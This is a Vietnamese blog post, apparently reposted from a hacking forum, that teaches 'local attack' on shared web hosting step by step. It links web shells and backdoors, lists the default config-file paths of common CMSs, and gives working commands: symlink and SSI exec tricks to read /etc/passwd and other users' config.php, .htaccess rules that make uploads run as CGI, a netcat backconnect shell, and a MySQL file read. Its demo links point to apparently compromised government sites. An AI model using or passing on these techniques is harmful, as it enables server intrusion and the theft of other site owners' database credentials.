Thứ Sáu, 24 tháng 5, 2013

[Local Attack] Các Phương Pháp Local Attack



1- Local Attack Là gi ?


Local attack là kỹ thuật hack website bằng hình thức tấn công từ nội bộ bên trong. Nghĩa là tấn công vào một website có bảo mật kém chung server với website mục tiêu. Sau đó tấn công sang website mục tiêu bằng kỹ thuật Local.



2- Các bước thực hiện trong local attack



- Xác định các website chung server với site mục tiêu.
http://ceh.vn/Reverse/
http://www.vhbgroup.net/ip/
- Check qua toàn bộ server, xác định site có bảo mật kém có thể tấn công bằng các hình thức:
SQLI, RLI, LFI, XSS, DNN, IIS, Bugs….
- Up shell lên website có bảo mật kém
- Local sang Site mục tiêu




3- Nhiệm vụ của local


- Tìm file config
- Thu thập thông tin login vào cơ sở dữ liệu của victim
- Login vào csdl, xác định username và password được mã hóa của victim
- Crack hoặc thay đổi password của victim.


4- Các kỹ thuật Local


- Sử dụng các lệnh cơ bản: Dir, cat,….
- Symlink cơ bản.
- Symlink kết hợp với SSI.
- Face symlink, Indirec Symlink
- Backconnect
- Via SQL
- Các kỹ thuật Bypass
……


Đỉnh cao của kỹ thuật local là Get root.


Một số shell thông dụng:


r57.php

http://www.mediafire.com/?25gsg6fqtp48cdl

R57 hiện nay đang là shell thông dụng, được sử dụng phổ biến nhất với hầu như là đầy đủ các tính năng.




This image has been resized.Click to view original image





c99.php


http://www.mediafire.com/?npsob8c7dd9nr40


Nói đến r57 cũng không thể không nhắc đến c99 với các thao tác có sẵn trên shell mà không cần phải sử dụng lệnh: edit, del, insert, drop… đặc biệt là có khả năng dump cơ sở dữ liệu




This image has been resized.Click to view original image





byg.php


http://www.mediafire.com/?33wykc6rumc3cf9

Byg hiện đang là shell mà được soleil sử dụng nhiều nhất với các chức năng có sẵn và thao tác dễ sử dụng




This image has been resized.Click to view original image






pass login: byg


vhb.php

http://www.mediafire.com/?hr9acl1yd1eabcw

Con shell này đã được mình Edit và Deveple bằng chính con shell Byg.php trên với 1 số tính năng mạnh hơn và giao diện đẹp, bắt mắt hơn. Đây là con shell chính mà mình thường sử dụng nhất.





This image has been resized.Click to view original image



Pass login: vhb
soleil.pin




Nếu Server Safe_mod: ON, cả shell r57 và c99 đều không có chức năng run command để thực thi các câu lệnh, vậy làm sao có thể local được. Giải pháp được nghĩ đến là sử dụng shell cgi mà chức năng chính của nó là thực thi các câu lệnh.





This image has been resized.Click to view original image






Pass login: ducdung.08clc


Cách sử dụng:

-Up shell soleil.pin và chmod nó về 755

-Up hoặc tạo file .htaccess có nội dung:



## START ##
Options +ExecCGI
AddHandler cgi-script cgi pl cgi gmc pin jpg
RewriteEngine on
RewriteRule (.*)\.mil$ $1.cgi
Options +FollowSymLinks
DirectoryIndex cmd.html
Options +Indexes
RemoveHandler .hack
AddType text/plain .hack
## milw0rmvn exploit ##


Hoặc:

Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cin
AddHandler cgi-script .pin
AddHandler cgi-script .pin



-telnet.php




http://www.mediafire.com/?t9cavs1n0ipthq1

Để sử dụng shell cgi được thuận tiên hơn, soleil giới thiệu shell telnet.pl. Chức năng hoàn toàn tương tự với con shell soleil.pin

Tuy nhiên cách thức sử dụng nó thì đơn giản hơn nhiều vì không phải sử dụng đến file .htaccess mà chỉ cần chmod nó về 755 là run ngon.




This image has been resized.Click to view original image





Face symlink:


http://www.mediafire.com/?fc9kencnilx0rm4






This image has been resized.Click to view original image





Get user:


http://www.mediafire.com/?gic70c6ce441333












Get user và domain


http://www.mediafire.com/?6n3x3nb340dq2g8






This image has been resized.Click to view original image





Shell này cần chmod về 755 trước khi sử dụng


http://www.mediafire.com/?2rk42hiv9b4ii3f





This image has been resized.Click to view original image






Get all config


http://www.mediafire.com/?hi4gnmu3kpxn095






This image has been resized.Click to view original image





SSI


http://www.mediafire.com/?vyqfaap9aarl75v


Backdoor.php


http://www.mediafire.com/?etciiuskzvyhjcw


Netcut


http://www.mediafire.com/?npsob8c7dd9nr40


zipcode.php


http://www.mediafire.com/?83ocom3w4r6ilfp


r57bypass.php (vip)



http://www.mediafire.com/?sqjs5du3srlifqt


Check Shell : Kiểm tra shell có trên site


http://www.mediafire.com/?ruh9r1i2d2tcpvn


Priv8_2012.php



http://www.mediafire.com/?2hw2xr8wpg902er


saoluu.php


http://www.mediafire.com/?ajm9l3uhgxx9jq6


Shell xml: Up shell đối với vbulletin


http://www.mediafire.com/view/?tdhe6l8bb676woq

http://www.mediafire.com/view/?nw1y3ui404zufyd


root.tar.gz: Dùng để sym root hay indirect sym

http://www.mediafire.com/?21kycoh4g5s4ojo


Và rất nhiều shell khác với 1 số tính năng đặc biệt khác nữa.


Pass download: soleil_vhb

Tham khảo:

http://ducdung08clc.blogspot.com/201...-so-shell.html


Bài 3 mình sẽ giới thiệu 1 sô câu lệnh thường được sử dụng trong Local Attack và các kỹ thuật get file config.


Nhắc lại trình tự các bước Local Attack
1- View danh sách các user trong server

2-Tìm file config.php

3-Get thông tin login vào database

4-Crack hoặc change pass admin

5-Login vào quyền quản trị và upshell


1-View danh sách các user trên server


Muốn local được 1 site nào đó trên server thì trướ tiên cần phải xác định site đó có user là gì, có source là gì từ đó tìm cách đọc file config.php của user đó.


-Một số câu lệnh để get user:


Lệnh phổ biến nhất:
Cat /etc/passwd



Tuy nhiên một số server cấm lệnh cat, có thể sử dụng các lệnh sau một cách linh hoạt
Less /etc/passwd

./cat/etc/passwd

More /etc/passwd



Ngoài ra có thể sử dụng chức năng get user trên shell byg.php, c99.php hay bypass ở r57.php, soleil.pin, telnet.pl hoặc các shell sau:


http://www.mediafire.com/?gic70c6ce441333

http://www.mediafire.com/?hi4gnmu3kpxn095 ( đk: chmod 755)

http://www.mediafire.com/?2rk42hiv9b4ii3f


Pass download: soleil_vhb

Pass dải nén: ceh.vn


-Câu lênh get user & domain
Cat /etc/virtual/domainowners



2-Tìm file path file config.php


Đối với các mã nguồn mở thì path file config được mặc định như sau:

Lưu ý: “path” chính là path từ server dẫn tới site, ví dụ đối với server linux, path là: /home/user/public_html
-Vbulletin:

path/includes/config.php

-Mybb:

path/inc/config.php

-Joomla:

path/configuration.php

-Word-Press:

path/wp-config.php

-Ibp:

path/conf_global.php

-Php-fusion:

path/config.php

-Smf:

Path/Settings.php

-Nuke:

path/config.php

-Xoops:

path/mainfile.php

-Zen Cart

Path/includes/configure.php

-path/setidio:

path/datas/config.php

-Datalife Engine:

path/engine/data/config.php

-Phpbb:

Path/config.php

-Wordpress:

path/wp-config.php

-Seditio:

path/datas/config.php

-Drupal:

path/sites/default/settings.php

- Discuz

path/config/config_ucenter.php

- Bo-Blog

path/data/config.php



-Đây là path mặc định đối với các mã nguồn mở, còn đối với site tự code thì thông thường path vẫn đặt hay ngay sau thư mục public_html ( path/config.php) (Cái này chủ yếu do thói quen của người lập trình viên) .


-Đối với các quản trị viên chú ý đến tính năng bảo mật, phòng tránh local attack thì họ thường dấu kỹ và thay đổi path dẫn đến file config, trong trường hợp này cần phải dò path bắt đầu từ file index đi vào. Soleil sẽ lấy ví dụ tìm path file config.php đối với vbulletin chẳng hạn:
Forum.php -> global.php -> includes/class_bootstrap -> includes/init.php -> includes/class_core.php -> includes/config.php



( Để tìm kiếm path trong source, search theo từ khóa: “cwd”, ta sẽ thấy đoạn code tương tự như: “require_once(CWD . '/includes/init.php');” - Đây là path mặc định dẫn tới file init.php))……


3-Get thông tin file config


Phần này chính là phần trọng tâm nhất. Trong phần này soleil sẽ giới thiệu đầy đủ các kỹ thuật cơ bản để local attack.


3.1- Trước hết tìm hiểu qua về các câu lệnh cơ bản trong linux ứng dụng cho local attack:


-Ls , dir : Liệt kê tên các file bên trong thư mục
ls -al, ls -lia: Liệt kê tên và thuộc tính các file bên trong thư mục
Ls -lia /home/vhbgroup/public_html/@4rum/includes.config.php



-Cat, ./cat, less, more, tail : View nôi dung bên trong các file:
Cat /home/vhbgroup/public_html/@4rum/includes/config.php



-Ln : Lệnh symbolic link:
Ln -s /home/vhbgroup/public_html/@4rum/includes/config.php soleil.ini


-Cd: Chuyển đổi thư mục


Ví dụ muốn chuyển tới thư mục soleil”
Cd /home/vhbgroup/public_html/@4rum/includes/soleil

cd ~ : Tới thư mục home dictionary

cd -: Quay lại thư mục vừa làm việc

cd ..: Tới thư mục kề bên ngoài thư mục đang làm việc



-Chmod: Phân quyền cho các file hoặc thư mục:
Chmod 400 config.php ( đang làm việc trong thư mục includes chứa file config.php )



-Mkdir: tạo thư mục:


Ví du muốn tạo thư mục soleil trong thư mục includes:
Mkdir /home/vhbgroup/public_html/@4rum/includes/soleil



-Touch : Tạo file:
touch /home/vhbgroup/public_html/@4rum/includes/soleil.php



-Tar, zip: Lệnh nén và giải nén: thường sử dụng trong symlink root
Tar –zcvf ducdung08clc.tar.gz soleil ( Nén thư mục soleil thành file ducdung08clc.tar.gz)

Tar –zxvf ducdung08clc.tar.gz ( giải nén file ducdung08clc.tar.gz)


Zip –r -9 ducdung08clc.zip soleil ( Nén thư mục soleil thành file ducdung08clc.zip)

Zip -p ducdung08clc.zip ( Giải nén file ducdung.tar.gz)
…………


3.2-Phần tiếp theo Soleil sẽ trình bày 1 số kỹ thuật dùng để lấy thông tin file config.php


1-Sử dụng các lệnh cat, dir để xem tên thư mục, tệp tin và đọc nội dung tệp tin.

Ví dụ:
dir /home/vhbgroup/public_html/includes

cat /home/vhbgroup/public_html/includes/config.php



Nhưng hiện nay phần lớn các server đều không cho phép thực thi những hàm này nên ứng dụng phương pháp này không mấy khả thi

2-Sử dụng Symbolic link – Gọi tắt là symlink


Symbolic link là kỹ thuật cơ bản và gần như là quan trọng mà phần lớn các attaker nghĩ đến đầu tiên trước khi thực hiện công việc local attack.
Ln -s /home/vhbgroup/public_html/@4rum/includes/config.php soleil.ini


Có thể hiểu đơn giản là tạo 1 file soleil.ini trên host có nội dung giống file config.php của user vhbgroup trên server có path/home/vhbgroup/public_html/@4rum/includes/config.php

Có thể thay soleil.ini bằng .txt nhưng do thói quen soleil vẫn hay sử dụng .ini hơn bởi vì đối với 1 số server bị lỗi nó có thể bypass permissions 400.


3-Sử dụng symlink kết hợp với ssi:


Đối với 1 sô server khi symbolick link bình thường xuất hiên 403 forbinden – không cho phép đọc file đã được symlink thì giải pháp được nghĩ đến đó là kết hợp với ssi.

-Tạo 1 file ducdung08clc.shtml với nội dung như sau:
<!--#include virtual="soleil.ini"-->



Trong đó file soleil.ini là file đã được symbolic link trên server.

Bây giờ view source của file ducdung08clc.shtml ta sẽ thấy đc nội dung file soleil.ini đã symbolic link.


4-Chạy lệnh bằng file .shtml


-Tuy nhiên có 1 số server cả 2 cách đó đều không áp dụng được nhưng nó lại cho chạy lệnh bằng file .shtml

<!--#exec cmd="cat /etc/passwd"-->



-Lệnh xem file logs như sau:
<!--#exec cmd="tail -n 10000 /var/log/httpd/domains/vhbgroup.net.error.log"-->



Lưu ý:

+ lệnh tail cũng giống như lệnh cat nhưng nó dùng để xem nhưng dòng cuối cùng của file trên server.

+ /var/log/httpd/domains/vhbgroup.net.error.log là path dẫn đến file error.log của direct admin

+ Còn path dẫn đến file error.log của cpanel là: /usr/local/apache/logs/error_log ….., tùy vào bộ cài host mà path dẫn đến file error.log khác nhau.


5-Get all config toàn server


-Đâu tiên download shell get all config ( w.php) về rồi up lên server.


http://www.mediafire.com/?hi4gnmu3kpxn095 ( pass unlock: soleil_vhb )





This image has been resized.Click to view original image






-Click vào done và thư mục có tên là tmp sẽ được tạo ra.

-Vào link của thư mục tmp sẽ có 1 số shell với các chức năng sau:

+ dz.sa : Đây là shell cgi, sử dụng nó để get các user trên server bằng cách thực thi câu lệnh: cat /etc/passwd, more /etc/passwd ( Pass login là: dz ).

+ user.sa : Shell này dung để xem danh sách các user và domain trên server.

+ config.sa : Shell này có nhiệm vụ thực thi get all config bằng phương pháp symlink




This image has been resized.Click to view original image






-Vào link shell http://www.vksbinhphuoc.gov.vn/soleil/tmp/config.sa


-Coppy toàn bộ thông tin user có được từ câu lệnh: cat /etc/passwd vào khung như hình ảnh dưới đây rồi ấn “get config”




This image has been resized.Click to view original image






-Cuối cùng trở lại link http://vksbinhphuoc.gov.vn/soleil/tmp/ , chúng ta sẽ có được danh sách các file config của các site trên server.




This image has been resized.Click to view original image




* Đặc điểm của con shell get all config này:

+ Là 1 công cụ cực kỳ thuận tiện, giảm bớt thời gian và công sức khi local attack

+ Chỉ sử dụng đối với các server cho chạy shell cgi và cho quyền symlink

+ Không bypass được, chỉ symlink đối với các site chưa chmod và có path dẫn đến file config là mặc định.


6-Symbolink Root:


-Download file r00t.tar.gz về và upload lên host:

http://www.mediafire.com/?21kycoh4g5s4ojo ( pass download: soleil_vhb, pass dải nén: ceh.vn )

-Sau đó giải nén file root.tar.gz, sử dụng lệnh sau:
Tar –zxvf r00t.tar.gz



-Up file .htacess cùng thư mục với file r00t:
Options all

DirectoryIndex Sux.html

AddType text/plain .php

AddHandler server-parsed .php

AddType text/plain .html

AddHandler txt .html

Require None

Satisfy Any



-Nếu không sủ dụng file r00t.tar.gz đó, có thể thực hiện sym root ngay trên shell


Demo:

http://tnmthatinh.gov.vn/soleil/r00t/


Và đây là cấu trúc của trường http://cdhh.edu.vn/ ( sym root)


http://tnmthatinh.gov.vn/soleil/r00t...h/public_html/


7-Backconnet:


Có thể hiểu đơn giản là kết nối bằng cổng sau, nghĩa là sử dụng shell backconnet và tool netcat (nc.exe) để mở sẵn 1 cổng trên server, sau đó từ máy tính của attacker kết nối với server qua cổng đã được mở sẵn đó. Mọi câu lệnh thực thi đối với server có thể thực hiện trên máy tính của attacker qua command line.


Đồ nghề cần thiết:


-Tool netcat (nc.exe)

http://www.mediafire.com/?rs3g94eafjq5qvh


-Shell back connect đối với asp:

http://www.mediafire.com/?etciiuskzvyhjcw


Chú ý, trong shell có 1 đoạn code như: "G:\domains\tvled.vn\wwwroot\austdoor\design\n c.ex e -l -p 1234 -e cmd.exe -d"

Lúc up shell lên cần edit lại “G:\domains\tvled.vn\wwwroot\austdoor\design\” thành path của server dẫn tới file nc.exe.


-Shell backconnet đối với php

http://www.mediafire.com/?8o1sj35cs51lsiw


( Pass unlock soleil_vhb; Pass dải nén: ceh.vn )


-Download tool nc.exe rồi đặt trong ổ C chẳng hạn, sau đó mở cửa sổ command line và sử dụng netcat để mở cổng trên local host kết nối với server đã mở sẵn cổng


-Cú pháp: + chế độ kết nối : nc [-tùy_chọn] tên_máy cổng1[-cổng2]
+ chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng]


Một số câu lệnh có thể sử dụng:
nc -nvv -l -p 80

nc -lvvnp 3333

nc -nvv -l -p 12345

nc 127.0.0.1 7777

nc -vv -l -p 7777

nc -vlp 443



+ -l: đặt netcat vào chế độ lắng nghe để chề kết nối đến

+ -n: Chỉ dùng ip ở dang số, ví dụ: 123.30.2.42, netcat sẽ ko xét đến DNS.

+ -p: Chỉ định cổng cần lắng nghe hay kết nối

+ -v: Hiện thi các thông tin về kết nối hiện tại. –vv sẽ hiện thị thông tin chi tiết hơn nữa.


-Lưu ý là cần coppy nc.exe vào 1 vị trí nào trong máy rồi sử dụng command đến thư mục chứa nc.exe trước khi thực hiện các câu lệnh liên quan đến netcat


-Sauk hi đã backconnect thành công thì tiến hành local đơn giản chỉ bằng 1 câu lệnh coppy shell từ site đã up được shell tới site victim.

8-Via SQL

-Login vào database và tạo 1 table để load các thông tin bằng cách sử dụng querry sau

create table soleil ( ducdung08clc varchar (1024));


-Query load các thông tin vào table table vừa được tạo:


load data local infile '/etc/passwd' into table soleil


Có thể thay câu lệnh “/etc/passwd” bằng path dẫn đến file config.


-Query hiện thị các thông tin được load vào table soleil:


select * from soleil


1số lưu ý:


- Đối với 1 số server Safe_mod: ON, thì shel không có chức năng run command để thực thi các câu lệnh, vậy làm sao có thể local được. Giải pháp được nghĩ đến là sử dụng shell cgi:



This image has been resized.Click to view original image






+ Soleil.pin


http://www.mediafire.com/?4k94v1i0shmr46c

Cách sử dụng:

-Up shell soleil.pin và chmod nó về 755

-Up hoặc tạo file .htaccess trong thư mục chứa shell có nội dung:

## START ##

Options +ExecCGI

AddHandler cgi-script cgi pl cgi gmc pin jpg

RewriteEngine on

RewriteRule (.*)\.mil$ $1.cgi

Options +FollowSymLinks

DirectoryIndex cmd.html

Options +Indexes

RemoveHandler .hack

AddType text/plain .hack

## milw0rmvn exploit ##



Hoặc:

Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .cin

AddHandler cgi-script .pin

AddHandler cgi-script .pin



+ telnet.pl

http://www.mediafire.com/?t9cavs1n0ipthq1

shell telnet.pl có chức năng hoàn toàn tương tự với con shell soleil.pin. Tuy nhiên cách thức sử dụng nó thì đơn giản hơn nhiều vì không phải sử dụng đến file .htaccess mà chỉ cần chmod nó về 755 là chạy được.





This image has been resized.Click to view original image





( Pass unlock: soleil_vhb, pass dải nén nếu có : ceh.vn )


* Đối với các server không có chức năng run command và cũng không cho chạy shell cgi thì có thể sử dụng các shell sau để bypass đơn giản đối với 1 số server.


+ facesymlink.php

http://www.mediafire.com/?fc9kencnilx0rm4 ( 5.2.12 -> 5.3.1

http://www.mediafire.com/?kmid8rahl5wjh74 ( version 5.3 -> 5.4 )


+ 529bypass.php

http://www.mediafire.com/?cls0e5k873w83ef


+ Bypassnull.php

http://www.mediafire.com/?1x0zxmig5ctwezr


+ Hoặc sử dụng safe mode bypass

http://www.mediafire.com/download.php?38d13jgqw132db2


+ Sử dụng các chức năng bypass trên con shell r57vip này ( nên convert domain sang dạng ip)

http://www.mediafire.com/?sqjs5du3srlifqt


+ Hoặc sử dụng via sqli

v.v….

(Tất cả các shell download trên đều có pass unlock: vhb_soleil và pass dải nén nếu có: ceh.vn)




Trong bài tut trên soleil đã giới các phương pháp local attack cơ bản và các dạng bypass cơ bản nhất có thể sử dụng khi thực hiện Local attack. Trong các bài tiếp theo soleil sẽ đề cập đến các kỹ thuật bypass nâng cao đối với 1 số server khó, các thủ thuật vượt chmod qua 400 permission, chiếm quyền điều khiển root (get root) và các kỹ thuật up shell đối với 1 số mã nguồn mở như: joomla, worpress, nukeviet, vbulletin, drupal ( sau khi đã locgin vào dattabase)……
Nguồn vnw

Không có nhận xét nào:

Đăng nhận xét